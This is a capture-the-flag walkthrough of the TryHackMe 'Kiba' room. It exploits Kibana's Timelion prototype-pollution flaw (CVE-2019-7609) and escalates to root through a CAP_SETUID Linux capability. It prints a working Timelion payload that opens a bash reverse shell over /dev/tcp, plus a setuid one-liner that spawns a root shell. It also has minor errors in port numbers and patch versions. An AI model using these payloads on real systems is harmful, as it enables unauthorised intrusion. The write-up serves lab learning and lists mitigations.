**KIBA - THM**

ytrayvn

<https://tryhackme.com/room/kiba>

Kiba is a Easy rated room in THM that is tagged with RCE, Eastic, python and Linux Capabilities. Our goal is to identify a critical security flaw found in a data visualization dashboard that can allow for RCE.

For automation, we run Autorecon, a multi-threaded network reconnnaissance tool that will perform specific scans – where possible – on services founds. It is a very handy tool to have in CTFs and should be explored. More information on Autorecon : <https://www.hackingarticles.in/comprehensive-guide-to-autorecon/> Using autorecon we scan our target IP address.

***sudo autorecon $ip\_address***

Our results come up as shown:

***PORT STATE SERVICE REASON VERSION*** *22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
| 2048 9d:f8:d1:57:13:24:81:b6:18:5d:04:8e:d2:38:4f:90 (RSA)  
<--SNIP->  
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))  
| http-methods:   
|\_ Supported Methods: GET HEAD POST OPTIONS  
|\_http-server-header: Apache/2.4.18 (Ubuntu)  
|\_http-title: Site doesn't have a title (text/html).  
4532/tcp filtered unknown no-response  
5044/tcp open lxi-evntsvc? syn-ack ttl 63  
5204/tcp filtered unknown no-response  
5601/tcp open esmagent? syn-ack ttl 63  
|<SNIP>  
| kbn-name: kibana  
| <--SNIP-->*

The results are long so have cut out other parts. We have Port 21, Port 80 and Port 5601 open. The others seem to be unreachable / false positives. Our SSH service can not be used at the moment as we have no credentials and attacking the SSH protocol isn't the way forward any way. Navigating to port 80 in the web browser, we are greeted with a pattern of numbers and symbols along with the message Linux capabilities. The source code does not show anything out of the ordinary. We’ll put a pin in the HTTP port for now. We navigate to port 5401 and are greeted with a Kibana dashboard; this must be the data visualization dashboard mentioned. (Using the Wappalyzer extension, we can see that the back-end server is running Ubuntu as an OS and there is an Apache Web Server 2.4.18 running. )

Looking around in the Management we find a version number which we can Google Dork for vulnerabilities. ‘Kibana <version number> vulnerabilities. We find some information that references the possibility of RCE for this version and there are a couple of exploits available. Doing a bit of research, this RCE is possible due to Prototype Pollution.

In its simplest form, Prototype Pollution is a vulnerability caused by not properly validating user input. Malicious user input can be entered and as its not properly checked, it is executed. In the case of Kibana, this resulted in RCE. More information: <https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications>

A lot of references where made that there were publicly available exploits on GitHub. Some of them worked while others didnt as expected ( advised not to use publicly available expoits in a production environment for fear of crashing systems )

This Github explained the exploit well and had working code. https://github.com/mpgn/CVE-2019-7609

***The Exploit:***

1. *Open KIbana*
2. *Paste one of the following payload into the Timelion visualizer*

*.es(\*).props(label.\_\_proto\_\_.env.AAAA='require("child\_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')*

*.props(label.\_\_proto\_\_.env.NODE\_OPTIONS='--require /proc/self/environ')*

1. *Click run*
2. *On the left panel click on Canvas*
3. *Make sure you have a netcat listener set up and your reverse shell appear (if you have a firewall remember to configure it to allow the connection. )*

This vulnerability is exploitable due to the Timelion visualizer not properly sanitizing user input and executes arbitrary code. As we have access to the Timelion application, we can attempt to execute Javascript Code. The code is executed with the permissions of the Kibana process on the host system.

Moving into the /home directory of the user, we get the first Crown Jewel. Looking around we see that we can see the users previously executed commands. It looks like they were setting up some capabilities for a program. We remember the message on the HTTP webpage, *“Linux Capabilities”.* Maybe that is a hint to our escalation vector.

Linux capabilities are special attributes given to specific services, binaries, processes and users that will allow them to carry out specific privileges that normally only the root user can run. Such special attributes can be mounting/unmount a file system, intercepting network traffic and others. These can be used to allow an attacker to elevate privileges.

More information on Linux Capabilities : <https://steflan-security.com/linux-privilege-escalation-exploiting-capabilities/>

Capabilities can be listed with

***getcap -r / 2>/dev/null***

***|\_\_ -r : recursively***

***|\_\_ / : starting from the base directory of the Linux Filestsystem***

***|\_\_ any errors redirect to the 2>/dev/null***

We find the the CAP\_SETUID capability is set for one of the programs. This has a known exploitation that can be found in GTFOBins.

<full\_path\_to\_program> -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’

We get logged in as root. This can be verified by typing ***id*** OR ***whoami.*** From there we can move into the /root directory and get the root flag.

**\*\* Bonus \*\***

If you would like to take this room further, you could try and apply a patch . There is one available on GitHub.

*Solutions and Mitigations*

Users are advised to upgrade to other versions 6.6.1 or 5.5.15. If upgrading is not an option the, the Timelion should be disabled by setting *timelion.enabled* to false in the *kibana.yml* configuration file.

More Information on the vulnerability :

> <https://www.tenable.com/blog/cve-2019-7609-exploit-script-available-for-kibana-remote-code-execution-vulnerability>

> <https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077>